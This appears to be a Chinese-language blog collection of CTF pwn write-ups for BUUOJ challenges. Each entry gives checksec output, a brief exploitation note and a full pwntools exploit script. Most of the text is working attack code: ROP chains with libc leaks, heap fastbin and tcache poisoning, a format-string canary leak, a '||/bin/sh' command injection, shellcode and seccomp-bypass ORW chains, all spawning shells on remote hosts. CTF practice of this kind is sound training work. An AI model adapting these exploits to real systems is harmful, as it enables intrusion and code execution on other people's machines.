exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #! /usr/bin/env python from pwn import * #sh=process('./vn_pwn_simpleHeap') sh=remote('node3.buuoj.cn',29585) libc=ELF('./libc-2.23.so') #context.log_level='debug' def add(size,content): sh.recvuntil('choice: ') sh.sendline('1') sh.recvuntil('size?') sh.sendline(str(size)) sh.recvuntil('content:') sh.sendline(content) def free(index): sh.recvuntil('choice: ') sh.sendline('4') sh.recvuntil('idx?') sh.sendline(str(index)) def show(index): sh.recvuntil('choice: ') sh.sendline('3') sh.recvuntil('idx?') sh.sendline(str(index)) def edit(index,content): sh.recvuntil('choice: ') sh.sendline('2') sh.recvuntil('idx?') sh.sendline(str(index)) sh.recvuntil('content:') sh.sendline(content) add(0x18,'L0ne1y') #0 add(0x68,'L0ne1y') #1 add(0x68,'L0ne1y') #2 add(0x10,'L0ne1y') #3 edit(0,'a'*0x18+'\xe1') free(1) add(0x68,'L0ne1y') #1 show(2) main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 sh.success('libc_base : ' +hex(libc_base)) malloc_hook=libc_base+libc.symbols['__malloc_hook'] sh.success('malloc_hook : ' +hex(malloc_hook)) one_gadget=libc_base+0x4526a sh.success('one_agdget : ' +hex(one_gadget)) realloc=libc_base+libc.symbols['__libc_realloc'] sh.success('realloc : ' +hex(realloc)) fake_chunk=malloc_hook-0x23 sh.success('fake_chunk : ' +hex(fake_chunk)) add(0x60,'a'*8) #4 free(3) free(2) edit(4,p64(fake_chunk)+'\n') add(0x60,'a'*8) #2 add(0x60,'a'*3+'a'*8+p64(one_gadget)+p64(realloc+0xd)+'\n') #3 sh.recvuntil('choice: ') sh.sendline('1') sh.recvuntil('size?') sh.sendline('32') #gdb.attach(sh) sh.interactive()
level3_x64 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 没啥好说了,干就完了
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./level3_x64') sh=remote('node3.buuoj.cn',28777) elf=ELF('./level3_x64') context.log_level='debug' write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=elf.symbols['main'] pop_rdi=0x00000000004006b3 pop_rsi_r15=0x00000000004006b1 payload='a'*0x88+p64(pop_rdi)+p64(0x1)+p64(pop_rsi_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main_addr) sh.recvuntil('Input:\n') sh.sendline(payload) write_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('write_addr : ' +hex(write_addr)) #gdb.attach(sh) libc=LibcSearcher('write',write_addr) libc_base=write_addr-libc.dump('write') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') payload='a'*0x88+p64(pop_rdi)+p64(bin_addr)+p64(system_addr) sh.sendline(payload) sh.interactive()
hitcontraining_uaf checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 程序有现成的后门。其他的利用uaf
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #! /usr/bin/env python from pwn import * sh=remote('node3.buuoj.cn',25411) #sh=process('./hacknote') elf=ELF('./hacknote') context.log_level='debug' magic=0x08048945 def add(size,content): sh.recvuntil('Your choice :') sh.sendline('1') sh.recvuntil('Note size :') sh.sendline(str(size)) sh.recvuntil('Content :') sh.send(content) def free(index): sh.recvuntil('Your choice :') sh.sendline('2') sh.recvuntil('Index :') sh.sendline(str(index)) def show(index): sh.recvuntil('Your choice :') sh.sendline('3') sh.recvuntil('Index :') sh.sendline(str(index)) add(0x20,'L0ne1y') #0 add(0x20,'L0ne1y') #1 free(1) free(0) add(0x8,p64(magic)) show(1) #gdb.attach(sh) sh.interactive()
picoctf_2018_rop chain checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 没啥说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./PicoCTF_2018_rop_chain') sh=remote('node3.buuoj.cn',27742) elf=ELF('./PicoCTF_2018_rop_chain') context.log_level='debug' printf_plt=elf.plt['printf'] printf_got=elf.got['printf'] format_addr=0x080488CD main_addr=0x0804873B payload='a'*0x18+'a'*4+p32(printf_plt)+p32(main_addr)+p32(format_addr)+p32(printf_got) sh.sendline(payload) sh.recvuntil('Enter your input> ') printf_addr=u32(sh.recv(4)) sh.success('printf_addr : ' +hex(printf_addr)) libc=LibcSearcher('printf',printf_addr) libc_base=printf_addr-libc.dump('printf') system_addr=libc_base+libc.dump('system') bin_addr=libc_base+libc.dump('str_bin_sh') sh.success('libc_base : ' +hex(libc_base)) payload='a'*0x18+'a'*4+p32(system_addr)+p32(0)+p32(bin_addr) sh.sendline(payload) #gdb.attach(sh) sh.interactive()
ZJCTF 2019EasyHeap checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: edit函数没有检查输入size,可以造成堆溢出,改free_got为system然后free掉就可以了。一开始被程序中的flag骗了,出题人太坏了。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #! /usr/bin/env python from pwn import * #sh=process('./easyheap') sh=remote('node3.buuoj.cn',26756) context.log_level='debug' elf=ELF('./easyheap') def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,size,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(': ') sh.sendline(content) def free(index): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.send(str(index)) fake_chunk=0x6020b5 free_got=elf.got['free'] system_plt=elf.plt['system'] sh.success('fake_chunk : ' +hex(fake_chunk-8)) add(0x20,'/bin/sh\x00') #0 add(0x60,'L0ne1y') #1 add(0x60,'L0ne1y') #2 free(2) free(1) edit(0,0x38,'a'*0x20+p64(0)+p64(0x71)+p64(fake_chunk-0x8)) add(0x60,'/bin/sh\x00') #1 add(0x60,'b'*3+p64(0)*4+p64(free_got)) #2 edit(0,0x8,p64(system_plt)) free(1) #gdb.attach(sh) sh.interactive()
jarvisoj_test_your_memory checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 需要注意返回地址随便写个无效地址会出现读不出来flag的问题
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #! /usr/bin/env python from pwn import * #sh=process('./memory') sh=remote('node3.buuoj.cn',25417) elf=ELF('./memory') context.log_level='debug' puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] flag_addr=0x080487E0 system_plt=elf.plt['system'] main_addr=0x08048677 #sh.recvuntil('> ') payload='a'*0x13+'a'*4+p32(system_plt)+p32(main_addr)+p32(flag_addr) sh.sendline(payload) sh.interactive()
bjdctf_2020_babyrop2 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 格式化字符串泄露canary,然后栈溢出
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #! /usr/bin/env python from pwn import * #p = process('./bjdctf_2020_babyrop2') p=remote('node3.buuoj.cn',26807) elf = ELF('./bjdctf_2020_babyrop2') context.log_level = 'debug' p.recv() payload = '%7$p' p.sendline(payload) p.recvuntil('0x') cancry = int(p.recv(16),16) puts_plt = 0x0400610 puts_got = elf.got['puts'] pop_rdi = 0x0400993 main_addr = elf.symbols['main'] ret_addr = 0x0400887 sleep(1) payload = p64(cancry) payload = payload.rjust(0x20,'a') payload += 'bbbbbbbb' payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(ret_addr) p.recvuntil('story!\n') p.sendline(payload) puts_addr = u64(p.recv(6).ljust(8,'\x00')) print hex(puts_addr) base_addr = puts_addr - 0x06f690 shell_addr = base_addr + 0x45216 p.recvuntil('story!\n') payload = p64(cancry) payload = payload.rjust(0x20,'a') payload += 'bbbbbbbb' payload += p64(shell_addr) p.sendline(payload) p.interactive()
ZJCTF 2019Login checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: c++写的程序,逆向分析好难,参考了其他师傅的wp,输入密码后发现段错误,发现和rax有关,倒推 rax 的来源,在 main 函数中把 rax 的来源覆盖为漏洞函数的地址即可 get shell
exp如下: 1 2 3 4 5 6 7 8 9 10 #! /usr/bin/env python from pwn import * sh = remote('node3.buuoj.cn',27732) shell = 0x400e88 sh.sendlineafter(': ','admin') sh.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*58+p64(shell)) sh.interactive()
roarctf_2019_easy_pwn checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: off by one 漏洞,通过将one_gadget写入realloc_hook,将realloc+offest写入malloc_hook来getshell。但是我在本地可以打通远程就不可以,换了libc也不行,好烦。如果有哪位师傅知道是什么原因,跪求。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 #! /usr/bin/env python from pwn import * sh=process('./roarctf_2019_easy_pwn') #sh=remote('node3.buuoj.cn',25506) elf=ELF('./roarctf_2019_easy_pwn') #context.log_level='debug' libc=elf.libc def add(size): sh.recvuntil(': ') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) def edit(index,size,content): sh.recvuntil(': ') sh.sendline('2') sh.recvuntil(': ') sh.sendline(str(index)) sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(': ') sh.send(content) def free(index): sh.recvuntil(': ') sh.sendline('3') sh.recvuntil(': ') sh.sendline(str(index)) def show(index): sh.recvuntil(': ') sh.sendline('4') sh.recvuntil(': ') sh.sendline(str(index)) add(0x18) #0 add(0x60) #1 add(0x60) #2 add(0x10) #3 edit(0,0x18+10,'a'*0x18+'\xe1') free(1) add(0x60) #1 show(2) sh.recvuntil(': ') main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3c4b20 sh.success('libc_base : ' +hex(libc_base)) malloc_hook=libc_base+libc.symbols['__malloc_hook'] sh.success('malloc_hook : ' +hex(malloc_hook)) one_gadget=libc_base+0x4527a sh.success('one_gadget : ' +hex(one_gadget)) realloc=libc_base+libc.symbols['__libc_realloc'] add(0x60) #4==>2 free(4) fake_chunk=malloc_hook-0x23 sh.success('fake_chunk : ' +hex(fake_chunk)) edit(2,0x8,p64(fake_chunk)) add(0x60) #4 add(0x60) #5 edit(5,0x1b,'a'*3+p64(0)+p64(one_gadget)+p64(realloc)) add(0x10) #gdb.attach(sh) sh.interactive()
bjdctf_2020_router checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 考察linux命令,原理就不讲了。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 #! /usr/bin/env python from pwn import * sh=remote('node3.buuoj.cn',29106) payload='||/bin/sh' sh.recvuntil('Please input u choose:\n') sh.sendline('1') sh.sendline(payload) sh.interactive()
cmcc_simplerop checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: rop利用,利用0x80中断。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #! /usr/bin/env python from pwn import * #p = process('./simplerop') p=remote('node3.buuoj.cn',26823) context.log_level = 'debug' p.recv() int_addr = 0x080493e1 pop_eax = 0x080bae06 read_addr= 0x0806CD50 binsh_addr = 0x080EB584 pop_edx_ecx_ebx = 0x0806e850 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8) payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr) p.sendline(payload) p.send('/bin/sh\x00') p.interactive()
ciscn_2019_n_3 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: uaf利用,覆盖free指针为system。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #! /usr/bin/env python from pwn import * sh=remote("node3.buuoj.cn",25283) #sh=process('./ciscn_2019_n_3') context.log_level='debug' def add1(index,integer): sh.recvuntil("CNote > ") sh.sendline("1") sh.recvuntil("Index > ") sh.sendline(str(index)) sh.recvuntil("Type > ") sh.sendline("1") sh.recvuntil("Value > ") sh.sendline(str(integer)) def add2(index,size,content): sh.recvuntil("CNote > ") sh.sendline("1") sh.recvuntil("Index > ") sh.sendline(str(index)) sh.recvuntil("Type > ") sh.sendline("2") sh.recvuntil("Length > ") sh.sendline(str(size)) sh.recvuntil("Value > ") sh.sendline(content) def show(index): sh.recvuntil("CNote > ") sh.sendline("3") sh.recvuntil("Index > ") sh.sendline(str(index)) def delete(index): sh.recvuntil("CNote > ") sh.sendline("2") sh.recvuntil("Index > ") sh.sendline(str(index)) system_plt=0x08048500 add1(0,1) add1(1,2) add1(2,3) delete(0) delete(1) payload="sh\x00\x00"+p32(system_plt) add2(3,0xc,payload) delete(0) #gdb.attach(sh) sh.interactive()
picoctf_2018_buffer overflow 1 checksec检查: 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
利用: 没啥好说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #! /usr/bin/env python from pwn import * #sh=process('./PicoCTF_2018_buffer_overflow_1') sh=remote('node3.buuoj.cn',29794) elf=ELF('./PicoCTF_2018_buffer_overflow_1') payload='a'*0x28+'a'*4+p32(0x080485CB) sh.sendline(payload) sh.interactive()
pwnable orw checksec检查: 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
seccomp检查: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 L0ne1y@L0ne1y:~/pwn/buu/pwnable_orw$ seccomp-tools dump ./orw line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
利用: IDA查看程序发现是一道seccomp练习。参考了几位师傅的博客,学习了一波(太菜了)
什么是seccomp 用自己的话来说,就是说seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.
我这里给出俩种利用方法,一种是自己写系统调用的汇编,另一种是使用pwntools自带的shellcraft
1 2 3 4 shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax','esp',100) shellcode += shellcraft.write(1,'esp',100) shellcode = asm(shellcode)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ; open('/home/orw/flag',0) 这里的0是指O_RDONLY: xor ebx,ebx xor ecx,ecx xor edx,edx push ebx ;截断字符串 push 0x67616c66 ;flag mov ebx,esp xor eax,eax mov al,0x5 int 0x80 ; read(3,esp,0x40) mov ebx,0x3 ; 这里fd是3的原因是open后返回的fd是3 mov ecx,esp mov edx,0x40 mov al,0x3 int 0x80 ;write(1,esp,0x40) mov ebx,0x1 mov al,0x4 int 0x80
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * #sh = process('./orw') sh = remote('node3.buuoj.cn',28268) context.log_level='debug' sh.recvuntil('Give my your shellcode:') #open shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;mov ebx,esp;mov al,0x5;int 0x80;") #read shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;") #write shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;") sh.sendline(shellcode) sh.interactive()
jarvisoj_level1 checksec检查: 1 2 3 4 5 6 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
利用: 本地和远程不太一样。
exp如下: 本地 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #! /usr/bin/env python from pwn import * sh=process('./level1') #sh=remote('node3.buuoj.cn',28253) context.arch='i386' context.log_level='debug' elf=ELF('./level1') sh.recvuntil("0x") buf_addr=int(sh.recv(8),16) sh.success('buf_addr : ' +hex(buf_addr)) shellcode = asm(shellcraft.sh()) payload=shellcode+'a'*(0x88+0x4-len(shellcode))+p32(buf_addr) sh.sendline(payload) sh.interactive()
远程 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./level1') sh=remote('node3.buuoj.cn',28253) context.arch='i386' context.log_level='debug' elf=ELF('./level1') write_plt = elf.plt['write'] main_addr = elf.sym['main'] read_got = elf.got['read'] payload = 'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4) sh.sendline(payload) read_addr=u32(sh.recv(4)) libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload='a'*0x88+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh) sh.sendline(payload) sh.interactive()
PicoCTF_2018_buffer_overflow_2 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 栈溢出,本地和远程不太一样
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./PicoCTF_2018_buffer_overflow_2') sh=remote('node3.buuoj.cn',26509) context.arch='i386' context.log_level='debug' elf=ELF('./PicoCTF_2018_buffer_overflow_2') puts_plt = elf.plt['puts'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = 'a' * (0x6c + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got) sh.recvuntil('\n') sh.sendline(payload) #gdb.attach(sh) puts_addr=u32(sh.recvuntil('\xf7')[-4:]) sh.success('puts_addr : ' +hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh) sh.sendline(payload) sh.interactive()
xdctf2015_pwn200 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 没啥说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./bof') sh=remote('node3.buuoj.cn',25428) context.log_level='debug' elf=ELF('./bof') write_plt = elf.plt['write'] main_addr = elf.sym['main'] read_got = elf.got['read'] payload = 'a' * (0x6c + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4) sh.recvuntil('Welcome to XDCTF2015~!\n') sh.sendline(payload) read_addr=u32(sh.recv(4)) libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh) sh.recvuntil('\n') sh.sendline(payload) sh.interactive()
gyctf_2020_borrowstack checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 栈迁移,注意bss段距离got地址很近,需要太高地址,否则got会被覆盖,不可以用system,会有错误。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * sh=remote('node3.buuoj.cn','29211') bank=0x0601080 leave=0x400699 puts_plt=0x04004E0 puts_got=0x0601018 pop_rdi=0x400703 main=0x0400626 ret=0x4004c9 sh.recvuntil('u want') payload1='a'*0x60+p64(bank)+p64(leave) sh.send(payload1) sh.recvuntil('now!') payload2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) sh.send(payload2) sh.recvline() puts_add=u64(sh.recv(6).ljust(8,'\x00')) libc_base=puts_add-0x06f690 one_gadget=libc_base+0x4526a payload3='a'*0x60+'bbbbbbbb'+p64(one_gadget) sh.send(payload3) sh.send('a') sh.interactive()
[V&N2020 公开赛]warmup checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
seccomp检查: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011 0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011 0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010 0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count) 0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010 0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count) 0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL
利用: 开启了seccomp保护,只能利用orw了,发现第一次输入的内容,在第二次输入内容的下方,距离第二个ret结束就是第一次的栈。
exp如下: 这里的ROP是通过ROPgadget --binary libc --only ‘pop|ret’ | grep ‘rdi’ 和 readelf -S libc | grep “.bss”
查找的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * from LibcSearcher import * p = remote('node3.buuoj.cn',29489) p.recvuntil("0x") puts_addr=int(p.recv(12),16) libc=ELF("./libc-2.23.so") libcbase_addr=puts_addr-libc.symbols['puts'] #mov_rdi_rsi_ret=libcbase_addr+libc.search(asm("mov rdi,r13\nret")).next() pop_rdi_ret=libcbase_addr+0x21102 pop_rsi_ret=libcbase_addr+0x202e8 pop_rdx_ret=libcbase_addr+0x1b92 open_addr=libcbase_addr+libc.symbols['open'] free_hook=libcbase_addr+libc.symbols['__free_hook'] read_addr=libcbase_addr+libc.symbols['read'] puts_addr=libcbase_addr+libc.symbols['puts'] payload=p64(0)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(4)+p64(read_addr) payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(pop_rsi_ret)+p64(4)+p64(open_addr) payload+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(free_hook)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr) payload+=p64(pop_rdi_ret)+p64(free_hook)+p64(puts_addr) p.sendafter("Input something: ",payload) p.sendafter("What's your name?",'a'* 0x78+p64(pop_rdi_ret)) p.send("flag") p.interactive()
bbys_tu_2016 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 偏移和IDA中的看的不一样,IDA不能全信啊
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #! /usr/bin/env python from pwn import * #sh=process('./bbys_tu_2016') sh=remote('node3.buuoj.cn',25461) flag_addr=0x0804856D payload='a'*24+p32(flag_addr) #sh.recvuntil('This program is hungry. You should feed it.\n') sh.sendline(payload) sh.interactive()
wustctf2020_getshell checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 没啥好说的
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #! /usr/bin/env python from pwn import * #sh=process('./wustctf2020_getshell') sh=remote('node3.buuoj.cn',26036) flag_addr=0x0804851B payload='a'*0x18+'a'*4+p32(flag_addr) sh.sendline(payload) sh.interactive()
ciscn_2019_final_3 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: double free漏洞,修改一个chunk的size大于0x421,这样free的chunk就进入了unsortedbin,,此时我们再修改回小于tache最大值的大小,这样我们再将其串回tache中,可以地址分配到main_arena中,就可以泄露libc地址。之后就是将free_hook写system。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 #! /usr/bin/env python from pwn import * sh=process('./ciscn_final_3') #sh=remote('node3.buuoj.cn',27802) #context.log_level='debug' libc=ELF('./libc.so.6') def add(index, size, content): sh.recvuntil('> ') sh.sendline('1') sh.recvuntil('input the index\n') sh.sendline(str(index)) sh.recvuntil('input the size\n') sh.sendline(str(size)) sh.recvuntil('now you can write something\n') sh.send(content) def free(index): sh.recvuntil('> ') sh.sendline('2') sh.recvuntil('input the index\n') sh.sendline(str(index)) add(0,0x10,'a'*8) sh.recvuntil("gift :0x") heap_addr=int(sh.recv(12),16) print "chunk_addr : "+hex(heap_addr) heap_base=heap_addr-0x011e70 sh.success('heap_base : ' +hex(heap_base)) add(1,0x10,'a'*8) free(1) free(1) add(2,0x10,p64(heap_addr-0x8)) add(3,0x10,p64(heap_addr-0x8)) add(4,0x10,p64(0x421)) for i in range(7): add(5+i,0x70,'a') add(12,0x50,'b') add(13,0x70,'c') free(0) free(5) free(5) add(14,0x70,p64(heap_addr-0x8)) add(15,0x70,p64(heap_addr-0x8)) add(16,0x70,'\x41\x00')#edit chunk_size add(17,0x40,'1111')#leak libc free(17) free(17) add(18,0x40,p64(heap_addr)) add(19,0x40,p64(heap_addr)) add(20,0x40,'\x00') add(21,0x40,'\x00') sh.recvuntil("gift :0x") main_arena=int(sh.recv(12),16)-144 sh.success('main_arena : ' +hex(main_arena)) libc_base=main_arena-0x3ebc40 free_hook=libc_base+libc.symbols['__free_hook'] system_addr=libc_base+libc.symbols['system'] free(12) free(12) add(22,0x50,p64(free_hook)) add(23,0x50,'/bin/sh\x00') add(24,0x50,p64(system_addr)) free(23) #gdb.attach(sh) sh.interactive()
others_babystack checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 泄露canary,然后再泄露libc,然后getshell。
